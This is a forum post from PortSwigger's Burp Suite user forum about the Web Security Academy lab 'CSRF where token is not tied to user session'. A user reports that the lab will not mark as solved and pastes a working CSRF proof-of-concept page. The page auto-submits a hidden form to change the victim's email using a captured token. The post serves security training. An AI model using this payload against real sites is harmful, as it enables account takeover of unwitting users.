Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CSRF where token is not tied to user session

coder | Last updated: Sep 26, 2021 02:59PM UTC

I did this lab for more than 20 times, but still it is not being shown as solved. I fount out what the problem is, when I store my exploit and click on "Deliver it to Victim", seems like its not being delivered. How did I confirm the above statement? 2 minutes after clicking "Deliver it to Victim" , i clicked on "View Exploit", and it worked for logged in session and it changed my email. Ideally,it should have said "Invalid Token" if victim already opened it but seems like that functionality is not working there because of which I was still able to use the same csrf token after 2 mins of clicking "Deliver it to Victim" Could you please check? Below is my POC <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://ac2b1f0d1e8d7764800c409100f200bc.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="aefae&#64;eaf1234&#46;com" /> <input type="hidden" name="csrf" value="cAc6ETuXFusZeReT2j6KqYPl54tdyWgO" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: Sep 27, 2021 10:42AM UTC